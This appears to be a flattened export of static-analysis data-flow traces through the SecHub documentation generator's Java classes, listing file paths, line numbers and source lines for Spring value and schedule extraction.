java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 21 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 9 + 22 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 19 + 23 + firstNotEmpty + + 13 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 40 + 24 + indexOf + + 1 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 16 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 17 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 18 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 19 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 20 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 21 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 22 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 23 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 24 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 25 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 9 + 26 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 19 + 27 + firstNotEmpty + + 13 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 40 + 28 + indexOf + + 1 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 12 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 13 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 14 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 15 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 16 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 17 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 18 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 19 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 20 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 21 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 59 + 22 + endsWith + + 1 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 16 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 17 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 18 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 19 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 20 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 21 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 22 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 23 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 24 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 25 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 59 + 26 + endsWith + + 1 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 12 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 13 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 14 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 15 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 16 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 17 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 30 + 18 + split + + 5 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 29 + 19 + isEmpty + + 1 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 16 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 17 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 18 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 19 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 20 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 21 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 30 + 22 + split + + 5 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 29 + 23 + isEmpty + + 1 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 123 + 85 + 9 + fetchMustBeDocumentParts + + 1 + + + 123 + String text = propertiesGenerator.generate(getCollector().fetchMustBeDocumentParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 10 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 11 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 12 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 13 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 32 + 14 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 27 + 15 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 32 + 16 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 27 + 17 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + 